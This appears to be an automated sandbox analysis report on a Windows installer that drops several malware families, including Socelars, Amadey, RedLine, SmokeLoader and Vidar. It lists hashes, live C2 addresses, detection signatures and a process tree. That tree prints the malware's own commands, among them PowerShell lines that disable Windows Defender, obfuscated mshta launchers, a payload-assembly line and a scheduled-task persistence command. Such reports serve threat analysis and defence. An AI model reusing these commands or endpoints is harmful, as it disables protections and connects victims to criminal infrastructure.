Analysis
-
max time kernel
70s -
max time network
1806s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
13-11-2021 17:35
General
-
Target
setup_x86_x64_install.exe
-
Size
9.1MB
-
MD5
0ccaba8f07f43baba600ee09864dd488
-
SHA1
fc6205c186b040cd6b2c30e1c4f161ec2eea2a47
-
SHA256
cf878de150bbfc29baab8635e159bb2733e63f1dbd954374258a55ee73982f0a
-
SHA512
3f7602933e91c3b06f44821ae8706b6ab25389dbddeb7f28fc89ba4e84b234ff759ac8b6062fccbf565860302ec59884333115cb22dbedf66bd2bdc77d06db6e
Score
10/10
Malware Config
Extracted
Family
socelars
C2
http://www.hhgenice.top/
Extracted
Family
amadey
Version
2.82
C2
185.215.113.45/g4MbvE/index.php
Extracted
Family
redline
Botnet
media13111
C2
91.121.67.60:51630
Extracted
Family
smokeloader
Version
2020
C2
http://membro.at/upload/
http://jeevanpunetha.com/upload/
http://misipu.cn/upload/
http://zavodooo.ru/upload/
http://targiko.ru/upload/
http://vues3d.com/upload/
rc4.i32
rc4.i32
Extracted
Family
vidar
Version
48.2
Botnet
933
C2
https://koyu.space/@qmashton
Attributes
-
profile_id
933
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 1 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 60 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 10 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 5 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 17 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Program Files directory 8 IoCs
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 11 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 4 IoCs
-
Kills process with taskkill 15 IoCs
-
Modifies registry class 8 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
-
C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exeC:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Roaming\hhahifiC:\Users\Admin\AppData\Roaming\hhahifi2⤵
-
C:\Users\Admin\AppData\Roaming\hhahifiC:\Users\Admin\AppData\Roaming\hhahifi3⤵
-
C:\Users\Admin\AppData\Roaming\igahifiC:\Users\Admin\AppData\Roaming\igahifi2⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Roaming\igahifiC:\Users\Admin\AppData\Roaming\igahifi2⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat16dbfd538b0b.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16dbfd538b0b.exeSat16dbfd538b0b.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat163af1aa81.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat163af1aa81.exeSat163af1aa81.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SoftwareInstaller2191.exe"C:\Users\Admin\AppData\Local\Temp\SoftwareInstaller2191.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\7757450.exe"C:\Users\Admin\AppData\Roaming\7757450.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\160811.exe"C:\Users\Admin\AppData\Roaming\160811.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\915804.exe"C:\Users\Admin\AppData\Roaming\915804.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\8435562.exe"C:\Users\Admin\AppData\Roaming\8435562.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\798473.exe"C:\Users\Admin\AppData\Roaming\798473.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\3867054.exe"C:\Users\Admin\AppData\Roaming\3867054.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPT: CLose ( cREaTeobJEcT ( "WscRipT.SHelL" ). rUN ( "CMD.exe /Q /R cOPy /Y ""C:\Users\Admin\AppData\Roaming\3867054.exe"" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF """"== """" for %m IN ( ""C:\Users\Admin\AppData\Roaming\3867054.exe"" ) do taskkill /F /IM ""%~nXm"" " , 0 , TRue ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R cOPy /Y "C:\Users\Admin\AppData\Roaming\3867054.exe" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF ""== "" for %m IN ( "C:\Users\Admin\AppData\Roaming\3867054.exe" ) do taskkill /F /IM "%~nXm"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM "3867054.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe"C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Worldoffer.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe" & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Worldoffer.exe /f9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\chrome.exe"C:\Users\Admin\AppData\Local\Temp\chrome.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1536 -s 14768⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1440 -s 15288⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )11⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"13⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC13⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4948 -s 15288⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 8088⤵
- Drops file in Windows directory
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 8448⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 8888⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 9728⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5296 -s 9608⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\jingli-game.exe"C:\Users\Admin\AppData\Local\Temp\jingli-game.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--cSExK3QD"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x19c,0x198,0x1e4,0x1c8,0x1e8,0x7ffbb955dec0,0x7ffbb955ded0,0x7ffbb955dee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff7d2869e70,0x7ff7d2869e80,0x7ff7d2869e9011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --mojo-platform-channel-handle=1752 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1700 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --mojo-platform-channel-handle=2092 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=1812 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2540 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --mojo-platform-channel-handle=3380 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3696 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --mojo-platform-channel-handle=3744 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --mojo-platform-channel-handle=3268 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --mojo-platform-channel-handle=3260 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1704,13886252186247932988,12476863040067138544,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4804_1100601430" --mojo-platform-channel-handle=3280 /prefetch:810⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"7⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"10⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe10⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat162b769f285d4a78.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat162b769f285d4a78.exeSat162b769f285d4a78.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1392583.exe"C:\Users\Admin\AppData\Roaming\1392583.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1559720.exe"C:\Users\Admin\AppData\Roaming\1559720.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\6010896.exe"C:\Users\Admin\AppData\Roaming\6010896.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\1942599.exe"C:\Users\Admin\AppData\Roaming\1942599.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
